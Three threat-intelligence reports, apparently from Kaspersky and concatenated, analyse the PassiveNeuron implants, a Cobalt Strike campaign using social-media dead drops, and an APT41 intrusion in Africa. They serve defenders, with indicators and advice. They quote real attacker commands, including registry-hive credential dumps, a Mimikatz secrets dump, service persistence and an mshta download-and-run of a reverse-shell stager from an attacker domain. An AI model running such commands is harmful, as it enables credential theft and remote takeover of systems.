Introduction

Back in 2024, we gave a brief description of a complex cyberespionage campaign that we dubbed “PassiveNeuron”. This campaign involved compromising the servers of government organizations with previously unknown APT implants, named “Neursite” and “NeuralExecutor”. However, since its discovery, the PassiveNeuron campaign has been shrouded in mystery. For instance, it remained unclear how the implants in question were deployed or what actor was behind them.

After we detected this campaign and prevented its spreading back in June 2024, we did not see any further malware deployments linked to PassiveNeuron for quite a long time, about six months. However, since December 2024, we have observed a new wave of infections related to PassiveNeuron, with the latest ones dating back to August 2025. These infections targeted government, financial and industrial organizations located in Asia, Africa, and Latin America. Since identifying these infections, we have been able to shed light on many previously unknown aspects of this campaign. Thus, we managed to discover details about the initial infection and gather clues on attribution.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

SQL servers under attack

While investigating PassiveNeuron infections both in 2024 and 2025, we found that a vast majority of targeted machines were running Windows Server. Specifically, in one particular infection case, we observed attackers gain initial remote command execution capabilities on the compromised server through the Microsoft SQL software. While we do not have clear visibility into how attackers were able to abuse the SQL software, it is worth noting that SQL servers typically get compromised through:

• Exploitation of vulnerabilities in the server software itself
• Exploitation of SQL injection vulnerabilities present in the applications running on the server
• Getting access to the database administration account (e.g. by brute-forcing the password) and using it to execute malicious SQL queries

After obtaining the code execution capabilities with the help of the SQL software, attackers deployed an ASPX web shell for basic malicious command execution on the compromised machine. However, at this stage, things did not go as planned for the adversary. The Kaspersky solution installed on the machine was preventing the web shell deployment efforts, and the process of installing the web shell ended up being quite noisy.

In attempts to evade detection of the web shell, attackers performed its installation in the following manner:

1. They dropped a file containing the Base64-encoded web shell on the system.
2. They dropped a PowerShell script responsible for Base64-decoding the web shell file.
3. They launched the PowerShell script in an attempt to write the decoded web shell payload to the filesystem.

As Kaspersky solutions were preventing the web shell installation, we observed attackers to repeat the steps above several times with minor adjustments, such as:

• Using hexadecimal encoding of the web shell instead of Base64
• Using a VBS script instead of a PowerShell script to perform decoding
• Writing the script contents in a line-by-line manner

Having failed to deploy the web shell, attackers decided to use more advanced malicious implants to continue the compromise process.

Malicious implants

Over the last two years, we have observed three implants used over the course of PassiveNeuron infections, which are:

• Neursite, a custom C++ modular backdoor used for cyberespionage activities
• NeuralExecutor, a custom .NET implant used for running additional .NET payloads
• the Cobalt Strike framework, a commercial tool for red teaming

While we saw different combinations of these implants deployed on targeted machines, we observed that in the vast majority of cases, they were loaded through a chain of DLL loaders. The first-stage loader in the chain is a DLL file placed in the system directory. Some of these DLL file paths are:

• C:\Windows\System32\wlbsctrl.dll
• C:\Windows\System32\TSMSISrv.dll
• C:\Windows\System32\oci.dll

Storing DLLs under these paths has been beneficial to attackers, as placing libraries with these names inside the System32 folder makes it possible to automatically ensure persistence. If present on the file system, these DLLs get automatically loaded on startup (the first two DLLs are loaded into the svchost.exe process, while the latter is loaded into msdtc.exe) due to the employed Phantom DLL Hijacking technique.

It also should be noted that these DLLs are more than 100 MB in size — their size is artificially inflated by attackers by adding junk overlay bytes. Usually, this is done to make malicious implants more difficult to detect by security solutions.

On startup, the first-stage DLLs iterate through a list of installed network adapters, calculating a 32-bit hash of each adapter’s MAC address. If neither of the MAC addresses is equal to the value specified in the loader configuration, the loader exits. This MAC address check is designed to ensure that the DLLs get solely launched on the intended victim machine, in order to hinder execution in a sandbox environment. Such detailed narrowing down of victims implies the adversary’s interest towards specific organizations and once again underscores the targeted nature of this threat.

Having checked that it is operating on a target machine, the loader continues execution by loading a second-stage loader DLL that is stored on disk. The paths where the second-stage DLLs were stored as well as their names (examples include elscorewmyc.dll and wellgwlserejzuai.dll) differed between machines. We observed the second-stage DLLs to also have an artificially inflated file size (in excess of 60 MB), and the malicious goal was to open a text file containing a Base64-encoded and AES-encrypted third-stage loader, and subsequently launch it.

This payload is a DLL as well, responsible for launching a fourth-stage shellcode loader inside another process (e.g. WmiPrvSE.exe or msiexec.exe) which is created in suspended mode. In turn, this shellcode loads the final payload: a PE file converted to a custom executable format.

In summary, the process of loading the final payload can be represented with the following graph:

It is also notable that attackers attempted to use slightly different variants of the loading scheme for some of the target organizations. For example, we have seen cases without payload injection into another process, or with DLL obfuscation on disk with VMProtect.

The Neursite backdoor

Among the three final payload implants that we mentioned above, the Neursite backdoor is the most potent one. We dubbed it so because we observed the following source code path inside the discovered samples: E:\pro\code\Neursite\client_server\nonspec\mbedtls\library\ssl_srv.c. The configuration of this implant contains the following parameters:

• List of C2 servers and their ports
• List of HTTP proxies that can be used to connect to C2 servers
• List of HTTP headers used while connecting to HTTP-based C2 servers
• A relative URL used while communicating with HTTP-based C2 servers
• A range of wait time between two consecutive C2 server connections
• A byte array of hours and days of the week when the backdoor is operable
• An optional port that should be opened for listening to incoming connections

The Neursite implant can use the TCP, SSL, HTTP and HTTPS protocols for C2 communications. As follows from the configuration, Neursite can connect to the C2 server directly or wait for another machine to start communicating through a specified port. In cases we observed, Neursite samples were configured to use either external servers or compromised internal infrastructure for C2 communications.

The default range of commands implemented inside this backdoor allows attackers to:

• Retrieve system information.
• Manage running processes.
• Proxy traffic through other machines infected with the Neursite implant, in order to facilitate lateral movement.

Additionally, this implant is equipped with a component that allows loading supplementary plugins. We observed attackers deploy plugins with the following capabilities:

• Shell command execution
• File system management
• TCP socket operations

The NeuralExecutor loader

NeuralExecutor is another custom implant deployed over the course of the PassiveNeuron campaign. This implant is .NET based, and we found that it employed the open-source ConfuserEx obfuscator for protection against analysis. It implements multiple methods of network communication, namely TCP, HTTP/HTTPS, named pipes, and WebSockets. Upon establishing a communication channel with the C2 server, the backdoor can receive commands allowing it to load .NET assemblies. As such, the main capability of this backdoor is to receive additional .NET payloads from the network and execute them.

Tricky attribution

Both Neursite and NeuralExecutor, the two custom implants we found to be used in the PassiveNeuron campaign, have never been observed in any previous cyberattacks. We had to look for clues that could hint at the threat actor behind PassiveNeuron.

Back when we started investigating PassiveNeuron back in 2024, we spotted one such blatantly obvious clue:

In the code of the NeuralExecutor samples we observed in 2024, the names of all functions had been replaced with strings prefixed with “Супер обфускатор”, the Russian for “Super obfuscator”. It is important to note, however, that this string was deliberately introduced by the attackers while using the ConfuserEx obfuscator. When it comes to strings that are inserted into malware on purpose, they should be assessed carefully during attribution. That is because threat actors may insert strings in languages they do not speak, in order to create false flags intended to confuse researchers and incident responders and prompt them to make an error of judgement when trying to attribute the threat. For that reason, we attached little evidential weight to the presence of the “Супер обфускатор” string back in 2024.

After examining the NeuralExecutor samples used in 2025, we found that the Russian-language string had disappeared. However, this year we noticed another peculiar clue related to this implant. While the 2024 samples were designed to retrieve the C2 server addresses straight from the configuration, the 2025 ones did so by using the Dead Drop Resolver technique. Specifically, the new NeuralExecutor samples that we found were designed to retrieve the contents of a file stored in a GitHub repository, and extract a string from it:

The malware locates this string by searching for two delimiters, wtyyvZQY and stU7BU0R, that mark the start and the end of the configuration data. The bytes of this string are then Base64-decoded and decrypted with AES to obtain the C2 server address.

It is notable that this exact method of obtaining C2 server addresses from GitHub, using a string containing delimiter sequences, is quite popular among Chinese-speaking threat actors. For instance, we frequently observed it being used in the EastWind campaign, which we previously connected to the APT31 and APT27 Chinese-speaking threat actors.

Furthermore, during our investigation, we learned one more interesting fact that could be useful in attribution. We observed numerous attempts to deploy the PassiveNeuron loader in one particular organization. After discovering yet another failed deployment, we have detected a malicious DLL named imjp14k.dll. An analysis of this DLL revealed that it had the PDB path G:\Bee\Tree(pmrc)\Src\Dll_3F_imjp14k\Release\Dll.pdb. This PDB string was referenced in a report by Cisco Talos on activities likely associated with the threat actor APT41. Moreover, we identified that the discovered DLL exhibits the same malicious behavior as described in the Cisco Talos report. However, it remains unclear why this DLL was uploaded to the target machine. Possible explanations could be that the attackers deployed it as a replacement for the PassiveNeuron-related implants, or that it was used by another actor who compromised the organization simultaneously with the attackers behind PassiveNeuron.

When dealing with attribution of cyberattacks that are known to involve false flags, it is difficult to understand which attribution indicators to trust, or whether to trust any at all. However, the overall TTPs of the PassiveNeuron campaign most resemble the ones commonly employed by Chinese-speaking threat actors. Since TTPs are usually harder to fake than indicators like strings, we are, as of now, attributing the PassiveNeuron campaign to a Chinese-speaking threat actor, albeit with a low level of confidence.

Conclusion

The PassiveNeuron campaign has been distinctive in the way that it primarily targets server machines. These servers, especially the ones exposed to the internet, are usually lucrative targets for APTs, as they can serve as entry points into target organizations. It is thus crucial to pay close attention to the protection of server machines. Wherever possible, the attack surface associated with these servers should be reduced to a minimum, and all server applications should be monitored to prevent emerging infections in a timely manner. Specific attention should be paid to protecting applications against SQL injections, which are commonly exploited by threat actors to obtain initial access. Another thing to focus on is protection against web shells, which are deployed to facilitate compromise of servers.

Indicators of compromise

PassiveNeuron-related loader files
12ec42446db8039e2a2d8c22d7fd2946
406db41215f7d333db2f2c9d60c3958b
44a64331ec1c937a8385dfeeee6678fd
8dcf258f66fa0cec1e4a800fa1f6c2a2
d587724ade76218aa58c78523f6fa14e
f806083c919e49aca3f301d082815b30

Malicious imjp14k.dll DLL
751f47a688ae075bba11cf0235f4f6ee

Introduction

In the latter half of 2024, the Russian IT industry, alongside a number of entities in other countries, experienced a notable cyberattack. The attackers employed a range of malicious techniques to trick security systems and remain undetected. To bypass detection, they delivered information about their payload via profiles on both Russian and international social media platforms, as well as other popular sites supporting user-generated content. The samples we analyzed communicated with GitHub, Microsoft Learn Challenge, Quora, and Russian-language social networks. The attackers thus aimed to conceal their activities and establish a complex execution chain for the long-known and widely used Cobalt Strike Beacon.

Although the campaign was most active during November and December 2024, it continued until April 2025. After a two-month silence, our security solutions began detecting attacks again. The adversary employed new malicious samples, which were only slightly modified versions of those described in the article.

Kaspersky solutions detect this threat and assign the following verdicts:

• HEUR:Trojan.Win64.Agent.gen
• HEUR:Trojan.Win64.Kryptik.gen
• HEUR:Trojan.WinLNK.Starter.gen
• MEM:Trojan.Multi.Cobalt.gen
• HEUR:Trojan.Win32.CobaltStrike.gen

Initial attack vector

The initial attack vector involved spear phishing emails with malicious attachments. The emails were disguised as legitimate communications from major state-owned companies, particularly within the oil and gas sector. The attackers feigned interest in the victims’ products and services to create a convincing illusion of legitimacy and increase the likelihood of the recipient opening the malicious attachment.

All attachments we observed were RAR archives with the following structure:

• Требования.lnk
• Требования
  • Company Profile.pdf
  • List of requirements.pdf
  • Требования
    • pdf
    • pdf

Company profile.pdf and List of requirements.pdf were decoy files designed to complement the information in the email. The directory Требования\Требования contained executables named Company.pdf and Requirements.pdf, designed to mimic secure PDF documents. The directory itself was hidden, invisible to the user by default.

When Требования.lnk was opened, the files in Требования\Требования were copied to %public%\Downloads\ and renamed: Company.pdf became nau.exe, and Requirements.pdf became BugSplatRc64.dll. Immediately afterward, nau.exe was executed.

%cd% /c echo F | xcopy /h /y %cd%\Требования\Требования %public%\Downloads\

& start %cd%\Требования

& ren %public%\Downloads\Company.pdf nau.exe

& ren %public%\Downloads\Requirements.pdf BugSplatRc64.dll

& %public%\Downloads\nau.exe

Contents of Требования.lnk

Malicious agent

In this attack, the adversary leveraged a common technique: DLL Hijacking (T1574.001). To deploy their malicious payload, they exploited the legitimate Crash reporting Send Utility (original filename: BsSndRpt.exe). The tool is part of BugSplat, which helps developers get detailed, real-time crash reports for their applications. This was the utility that the attackers renamed from Company.pdf to nau.exe.

For BsSndRpt.exe to function correctly, it requires BugSplatRc64.dll. The attackers saved their malicious file with that name, forcing the utility to load it instead of the legitimate file.

To further evade detection, the malicious BugSplatRc64.dll library employs Dynamic API Resolution (T1027.007). This technique involves obscuring API functions within the code, resolving them dynamically only during execution. In this specific case, the functions were obfuscated via a custom hashing algorithm, which shares similarities with CRC (Cyclic Redundancy Check).

A significant portion of the hashes within the malicious sample are XOR-encrypted. Additionally, after each call, the address is removed from memory, and API functions are reloaded if a subsequent call is needed.

MessageBoxW function hook

The primary purpose of BugSplatRc64.dll is to intercept API calls within the legitimate utility’s process address space to execute its malicious code (DLL Substitution, T1574.001). Instead of one of the API functions required by the process, a call is made to a function (which we’ll refer to as NewMessageBox) located within the malicious library’s address space. This technique makes it difficult to detect the malware in a sandbox environment, as the library won’t launch without a specific executable file. In most of the samples we’ve found, the MessageBoxW function call is modified, though we’ve also discovered samples that altered other API calls.

After modifying the intercepted function, the library returns control to the legitimate nau.exe process.

NewMessageBox function

Once the hook is in place, whenever MessageBoxW (or another modified function) is called within the legitimate process, NewMessageBox executes. Its primary role is to run a shellcode, which is loaded in two stages.

First, the executable retrieves HTML content from a webpage located at one of the addresses encrypted within the malicious library. In the sample we analyzed, these addresses were https://techcommunity.microsoft[.]com/t5/user/viewprofilepage/user-id/2631 and https://www.quora[.]com/profile/Marieformach. The information found at both locations is identical. The second address serves as a backup if the first one becomes inactive.

NewMessageBox searches the HTML code retrieved from these addresses for a string whose beginning and end match patterns that are defined in the code and consist of mixed-case alphanumeric characters. This technique allows attackers to leverage various popular websites for storing these strings. We’ve found malicious information hidden inside profiles on GitHub, Microsoft Learn Challenge, Q&A websites, and even Russian social media platforms.

While we didn’t find any evidence of the attackers using real people’s social media profiles, as all the accounts were created specifically for this attack, aligning with MITRE ATT&CK technique T1585.001, there’s nothing stopping the threat actor from abusing various mechanisms these platforms provide. For instance, malicious content strings could be posted in comments on legitimate users’ posts.

The extracted payload is a base64-encoded string with XOR-encrypted data. Decrypted, this data reveals the URL https://raw.githubusercontent[.]com/Mariew14/kong/master/spec/fixtures/verify-prs, which then downloads another XOR-encrypted shellcode.

We initially expected NewMessageBox to execute the shellcode immediately after decryption. Instead, nau.exe launches a child process with the same name and the qstt parameter, in which all of the above actions are repeated once again, ultimately resulting in the execution of the shellcode.

Shellcode

An analysis of the shellcode (793453624aba82c8e980ca168c60837d) reveals a reflective loader that injects Cobalt Strike Beacon into the process memory and then hands over control to it (T1620).

The observed Cobalt sample communicates with the C2 server at moeodincovo[.]com/divide/mail/SUVVJRQO8QRC.

Attribution and victims

The method used to retrieve the shellcode download address is similar to the C2 acquisition pattern that our fellow security analysts observed in the EastWind campaign. In both cases, the URL is stored in a specially crafted profile on a legitimate online platform like Quora or GitHub. In both instances, it’s also encrypted using an XOR algorithm. Furthermore, the targets of the two campaigns partially overlap: both groups of attackers show interest in Russian IT companies.

It’s worth mentioning that while most of the attacks targeted Russian companies, we also found evidence of the malicious activity in China, Japan, Malaysia, and Peru. The majority of the victims were large and medium-sized businesses.

Takeaways

Threat actors are using increasingly complex and clever methods to conceal long-known tools. The campaign described here used techniques like DLL hijacking, which is gaining popularity among attackers, as well as obfuscating API calls within the malicious library and using legitimate resources like Quora, GitHub, and Microsoft Learn Challenge to host C2 addresses. We recommend that organizations adhere to the following guidelines to stay safe:

• Track the status of their infrastructure and continuously monitor their perimeter.
• Use powerful security solutions to detect and block malware embedded within bulk email.
• Train their staff to increase cybersecurity awareness.
• Secure corporate devices with a comprehensive system that detects and blocks attacks in the early stages.

You can detect the malware described here by searching for the unsigned file BugSplatRc64.dll in the file system. Another indirect sign of an attack could be the presence of Crash reporting Send Utility with any filename other than the original BsSndRpt.exe.

IOCs:

LNK
30D11958BFD72FB63751E8F8113A9B04
92481228C18C336233D242DA5F73E2D5

Legitimate BugSplat.exe
633F88B60C96F579AF1A71F2D59B4566

DLL
2FF63CACF26ADC536CD177017EA7A369
08FB7BD0BB1785B67166590AD7F99FD2
02876AF791D3593F2729B1FE4F058200
F9E20EB3113901D780D2A973FF539ACE
B2E24E061D0B5BE96BA76233938322E7
15E590E8E6E9E92A18462EF5DFB94298
66B6E4D3B6D1C30741F2167F908AB60D
ADD6B9A83453DB9E8D4E82F5EE46D16C
A02C80AD2BF4BFFBED9A77E9B02410FF
672222D636F5DC51F5D52A6BD800F660
2662D1AE8CF86B0D64E73280DF8C19B3
4948E80172A4245256F8627527D7FA96

URL
hxxps://techcommunity[.]microsoft[.]com/users/kyongread/2573674
hxxps://techcommunity[.]microsoft[.]com/users/mariefast14/2631452
hxxps://raw[.]githubusercontent[.]com/fox7711/repos/main/1202[.]dat
hxxps://my[.]mail[.]ru/mail/nadezhd_1/photo/123
hxxps://learn[.]microsoft[.]com/en-us/collections/ypkmtp5wxwojz2
hxxp://10[.]2[.]115[.]160/aa/shellcode_url[.]html
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2548260
hxxps://techcommunity[.]microsoft[.]com/t5/user/viewprofilepage/user-id/2631452
hxxps://github[.]com/Mashcheeva
hxxps://my[.]mail[.]ru/mail/veselina9/photo/mARRy
hxxps://github[.]com/Kimoeli
hxxps://www[.]quora[.]com/profile/Marieformach
hxxps://moeodincovo[.]com/divide/mail/SUVVJRQO8QRC

Introduction

Some time ago, Kaspersky MDR analysts detected a targeted attack against government IT services in the African region. The attackers used hardcoded names of internal services, IP addresses, and proxy servers embedded within their malware. One of the C2s was a captive SharePoint server within the victim’s infrastructure.

During our incident analysis, we were able to determine that the threat actor behind the activity was APT41 (aka Wicked Panda, Brass Typhoon, Barium or Winnti). This is a Chinese-speaking cyberespionage group known for targeting organizations across multiple sectors, including telecom and energy providers, educational institutions, healthcare organizations and IT energy companies in at least 42 countries. It’s worth noting that, prior to the incident, Africa had experienced the least activity from this APT.

Incident investigation and toolkit analysis

Detection

Our MDR team identified suspicious activity on several workstations within an organization’s infrastructure. These were typical alerts indicating the use of the WmiExec module from the Impacket toolkit. Specifically, the alerts showed the following signs of the activity:

• A process chain of svchost.exe ➔exe ➔ cmd.exe
• The output of executed commands being written to a file on an administrative network share, with the file name consisting of numbers separated by dots:

The attackers also leveraged the Atexec module from the Impacket toolkit.

The attackers used these commands to check the availability of their C2 server, both directly over the internet and through an internal proxy server within the organization.

The source of the suspicious activity turned out to be an unmonitored host that had been compromised. Impacket was executed on it in the context of a service account. We would later get that host connected to our telemetry to pinpoint the source of the infection.

After the Atexec and WmiExec modules finished running, the attackers temporarily suspended their operations.

Privilege escalation and lateral movement

After a brief lull, the attackers sprang back into action. This time, they were probing for running processes and occupied ports:

cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.log
cmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log

They were likely trying to figure out if the target hosts had any security solutions installed, such as EDR, MDR or XDR agents, host administration tools, and so on.

Additionally, the attackers used the built-in reg.exe utility to dump the SYSTEM and SAM registry hives.

cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.log
cmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log

On workstations connected to our monitoring systems, our security solution blocked the activity, which resulted in an empty dump file. However, some hosts within the organization were not secured. As a result, the attackers successfully harvested credentials from critical registry hives and leveraged them in their subsequent attacks. This underscores a crucial point: to detect incidents promptly and minimize damage, security solution agents must be installed on all workstations across the organization without exception. Furthermore, the more comprehensive your telemetry data, the more effective your response will be. It’s also crucial to keep a close eye on the permissions assigned to service and user accounts, making sure no one ends up with more access rights than they really need. This is especially true for accounts that exist across multiple hosts in your infrastructure.

In the incident we’re describing here, two domain accounts obtained from a registry dump were leveraged for lateral movement: a domain account with local administrator rights on all workstations, and a backup solution account with domain administrator privileges. The local administrator privileges allowed the attackers to use the SMB protocol to transfer tools for communicating with the C2 to the administrative network share C$. We will discuss these tools – namely Cobalt Strike and a custom agent – in the next section.

In most cases, the attackers placed their malicious tools in the C:\WINDOWS\TASKS\ directory on target hosts, but they used other paths too:

c:\windows\tasks\
c:\programdata\
c:\programdata\usoshared\
c:\users\public\downloads\
c:\users\public\
c:\windows\help\help\
c:\users\public\videos\

Files from these directories were then executed remotely using the WMI toolkit:

C2 communication

Cobalt Strike

The attackers used Cobalt Strike for C2 communication on compromised hosts. They distributed the tool as an encrypted file, typically with a TXT or INI extension. To decrypt it, they employed a malicious library injected into a legitimate application via DLL sideloading.

Here’s a general overview of how Cobalt Strike was launched:

Attackers placed all the required files – the legitimate application, the malicious DLL, and the payload file – in one of the following directories:

C:\Users\Public\
C:\Users\{redacted}\Downloads\
C:\Windows\Tasks\

The malicious library was a legitimate DLL modified to search for an encrypted Cobalt Strike payload in a specifically named file located in the same directory. Consequently, the names of the payload files varied depending on what was hardcoded into the malicious DLL.

During the attack, the threat actor used the following versions of modified DLLs and their corresponding payloads:

Legitimate file name	DLL	Encrypted Cobalt Strike
TmPfw.exe	TmDbg64.dll	TmPfw.ini
cookie_exporter.exe	msedge.dll	Logs.txt
FixSfp64.exe	log.dll	Logs.txt
360DeskAna64.exe	WTSAPI32.dll	config.ini
KcInst.exe	KcInst32.dll	kcinst.log
MpCmdRunq.exe	mpclient.dll	Logs.txt

Despite using various legitimate applications to launch Cobalt Strike, the payload decryption process was similar across instances. Let’s take a closer look at one example of Cobalt Strike execution, using the legitimate file cookie_exporter.exe, which is part of Microsoft Edge. When launched, this application loads msedge.dll, assuming it’s in the same directory.

The attackers renamed cookie_exporter.exe to Edge.exe and replaced msedge.dll with their own malicious library of the same name.

When any dynamic library is loaded, the DllEntryPoint function is executed first. In the modified DLL, this function included a check for a debugging environment. Additionally, upon its initial execution, the library verified the language packs installed on the host. The malicious code would not run if it detected any of the following language packs:

• Japanese (Japan)
• Korean (South Korea)
• Chinese (Mainland China)
• Chinese (Taiwan)

If the system passes the checks, the application that loaded the malicious library executes an exported DLL function containing the malicious code. Because different applications were used to launch the library in different cases, the exported functions vary depending on what the specific software calls. For example, with msedge.dll, the malicious code was implemented in the ShowMessageWithString function, called by cookie_exporter.exe.

The ShowMessageWithString function retrieves its payload from Logs.txt, a file located in the same directory. These filenames are typically hardcoded in the malicious dynamic link libraries we’ve observed.

The screenshot below shows a disassembled code segment responsible for loading the encrypted file. It clearly reveals the path where the application expects to find the file.

The payload is decrypted by repeatedly executing the following instructions using 128-bit SSE registers:

Once the payload is decrypted, the malicious executable code from msedge.dll launches it by using a standard method: it allocates a virtual memory region within its own process, then copies the code there and executes it by creating a new thread. In other versions of similarly distributed Cobalt Strike agents that we examined, the malicious code could also be launched by creating a new process or upon being injected into the memory of another running process.

Beyond the functionality described above, we also found a code segment within the malicious libraries that appeared to be a message to the analyst. These strings are supposed to be displayed if the DLL finds itself running in a debugger, but in practice this doesn’t occur.

Once Cobalt Strike successfully launches, the implant connects to its C2 server. Threat actors then establish persistence on the compromised host by creating a service with a command similar to this:

C:\Windows\system32\cmd.exe /C sc create "server power" binpath= "cmd /c start C:\Windows\tasks\Edge.exe" && sc description "server power" "description" && sc config "server power" start= auto && net start "server power"

Attackers often use the following service names for embedding Cobalt Strike:

server power
WindowsUpdats
7-zip Update

Agent

During our investigation, we uncovered a compromised SharePoint server that the attackers were using as the C2. They distributed files named agents.exe and agentx.exe via the SMB protocol to communicate with the server. Each of these files is actually a C# Trojan whose primary function is to execute commands it receives from a web shell named CommandHandler.aspx, which is installed on the SharePoint server. The attackers uploaded multiple versions of these agents to victim hosts. All versions had similar functionality and used a hardcoded URL to retrieve commands:

The agents executed commands from CommandHandler.aspx using the cmd.exe command shell launched with the /c flag.

While analyzing the agents, we didn’t find significant diversity in their core functionality, despite the attackers constantly modifying the files. Most changes were minor, primarily aimed at evading detection. Outdated file versions were removed from the compromised hosts.

The attackers used the deployed agents to conduct reconnaissance and collect sensitive data, such as browser history, text files, configuration files, and documents with .doc, .docx and .xlsx extensions. They exfiltrated the data back to the SharePoint server via the upload.ashx web shell.

It is worth noting that the attackers made some interesting mistakes while implementing the mechanism for communicating with the SharePoint server. Specifically, if the CommandHandler.aspx web shell on the server was unavailable, the agent would attempt to execute the web page’s error message as a command:

Obtaining a command shell: reverse shell via an HTA file

If, after their initial reconnaissance, the attackers deemed an infected host valuable for further operations, they’d try to establish an alternative command-shell access. To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file:

"cmd.exe" /c mshta hxxp[:]//github.githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta

The group attempted to mask their malicious activity by using resources that mimicked legitimate ones to download the HTA file. Specifically, the command above reached out to the GitHub-impersonating domain github[.]githubassets[.]net. The attackers primarily used the site to host JavaScript code. These scripts were responsible for delivering either the next stage of their malware or the tools needed to further the attack.

At the time of our investigation, a harmless script was being downloaded from github[.]githubassets[.]net instead of a malicious one. This was likely done to hide the activity and complicate attack analysis.

However, we were able to obtain and analyze previously distributed scripts, specifically the malicious file 2CD15977B72D5D74FADEDFDE2CE8934F. Its primary purpose is to create a reverse shell on the host, giving the attackers a shell for executing their commands.

Once launched, the script gathers initial host information:

It then connects to the C2 server, also located at github[.]githubassets[.]net, and transmits a unique ATTACK_ID along with the initially collected data. The script leverages various connection methods, such as WebSockets, AJAX, and Flash. The choice depends on the capabilities available in the browser or execution environment.

Data collection

Next, the attackers utilized automation tools such as stealers and credential-harvesting utilities to collect sensitive data. We detail these tools below. Data gathered by these utilities was also exfiltrated via the compromised SharePoint server. In addition to the aforementioned web shell, the SMB protocol was used to upload data to the server. The files were transferred to a network share on the SharePoint server.

Pillager

A modified version of the Pillager utility stands out among the tools the attackers deployed on hosts to gather sensitive information. This tool is used to export and decrypt data from the target computer. The original Pillager version is publicly available in a repository, accompanied by a description in Chinese.

The primary types of data collected by this utility include:

• Saved credentials from browsers, databases, and administrative utilities like MobaXterm
• Project source code
• Screenshots
• Active chat sessions and data
• Email messages
• Active SSH and FTP sessions
• A list of software installed on the host
• Output of the systeminfo and tasklist commands
• Credentials stored and used by the operating system, and Wi-Fi network credentials
• Account information from chat apps, email clients, and other software

A sample of data collected by Pillager:

The utility is typically an executable (EXE) file. However, the attackers rewrote the stealer’s code and compiled it into a DLL named wmicodegen.dll. This code then runs on the host via DLL sideloading. They chose convert-moftoprovider.exe, an executable from the Microsoft SDK toolkit, as their victim application. It is normally used for generating code from Managed Object Format (MOF) files.

Despite modifying the code, the group didn’t change the stealer’s default output file name and path: C:\Windows\Temp\Pillager.zip.

It’s worth noting that the malicious library they used was based on the legitimate SimpleHD.dll HDR rendering library from the Xbox Development Kit. The source code for this library is available on GitHub. This code was modified so that convert-moftoprovider.exe loaded an exported function, which implemented the Pillager code.

Interestingly, the path to the PDB file, while appearing legitimate, differs by using PS5 instead of XBOX:

Checkout

The second stealer the attackers employed was Checkout. In addition to saved credentials and browser history, it also steals information about downloaded files and credit card data saved in the browser.

When launching the stealer, the attackers pass it a j8 parameter; without it, the stealer won’t run. The malware collects data into CSV files, which it then archives and saves as CheckOutData.zip in a specially created directory named CheckOut.

RawCopy

Beyond standard methods for gathering registry dumps, such as using reg.exe, the attackers leveraged the publicly available utility RawCopy (MD5 hash: 0x15D52149536526CE75302897EAF74694) to copy raw registry files.

RawCopy is a command-line application that copies files from NTFS volumes using a low-level disk reading method.

The following commands were used to collect registry files:

c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads

Mimikatz

The attackers also used Mimikatz to dump account credentials. Like the Pillager stealer, Mimikatz was rewritten and compiled into a DLL. This DLL was then loaded by the legitimate java.exe file (used for compiling Java code) via DLL sideloading. The following files were involved in launching Mimikatz:

C:\Windows\Temp\123.bat 
C:\Windows\Temp\jli.dll 
C:\Windows\Temp\java.exe 
С:\Windows\Temp\config.ini

123.bat is a BAT script containing commands to launch the legitimate java.exe executable, which in turn loads the dynamic link library for DLL sideloading. This DLL then decrypts and executes the Mimikatz configuration file, config.ini, which is distributed from a previously compromised host within the infrastructure.

java.exe privilege::debug token::elevate lsadump::secrets exit

Retrospective threat hunting

As already mentioned, the victim organization’s monitoring coverage was initially patchy. Because of this, in the early stages, we only saw the external IP address of the initial source and couldn’t detect what was happening on that host. After some time, the host was finally connected to our monitoring systems, and we found that it was an IIS web server. Furthermore, despite the lost time, it still contained artifacts of the attack.

These included the aforementioned Cobalt Strike implant located in c:\programdata\, along with a scheduler task for establishing persistence on the system. Additionally, a web shell remained on the host, which our solutions detected as HEUR:Backdoor.MSIL.WebShell.gen. This was found in the standard temporary directory for compiled ASP.NET application files:

c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dll
MD5: 0x70ECD788D47076C710BF19EA90AB000D

These temporary files are automatically generated and contain the ASPX page code:

The web shell was named newfile.aspx. The screenshot above shows its function names. Based on these names, we were able to determine that this instance utilized a Neo-reGeorg web shell tunnel.

This tool is used to proxy traffic from an external network to an internal one via an externally accessible web server. Thus, the launch of the Impacket tools, which we initially believed was originating from a host unidentified at the time (the IIS server), was in fact coming from the external network through this tunnel.

Attribution

We attribute this attack to APT41 with a high degree of confidence, based on the similarities in the TTPs, tooling, and C2 infrastructure with other APT41 campaigns. In particular:

• The attackers used a number of tools characteristic of APT41, such as Impacket, WMI, and Cobalt Strike.
• The attackers employed DLL sideloading techniques.
• During the attack, various files were saved to C:\Windows\Temp.
• The C2 domain names identified in this incident (s3-azure.com, *.ns1.s3-azure.com, *.ns2.s3-azure.com) are similar to domain names previously observed in APT41 attacks (us2[.]s3bucket-azure[.]online, status[.]s3cloud-azure[.]com).

Takeaways and lessons learned

The attackers wield a wide array of both custom-built and publicly available tools. Specifically, they use penetration testing tools like Cobalt Strike at various stages of an attack. The attackers are quick to adapt to their target’s infrastructure, updating their malicious tools to account for specific characteristics. They can even leverage internal services for C2 communication and data exfiltration. The files discovered during the investigation indicate that the malicious actor modifies its techniques during an attack to conceal its activities – for example, by rewriting executables and compiling them as DLLs for DLL sideloading.

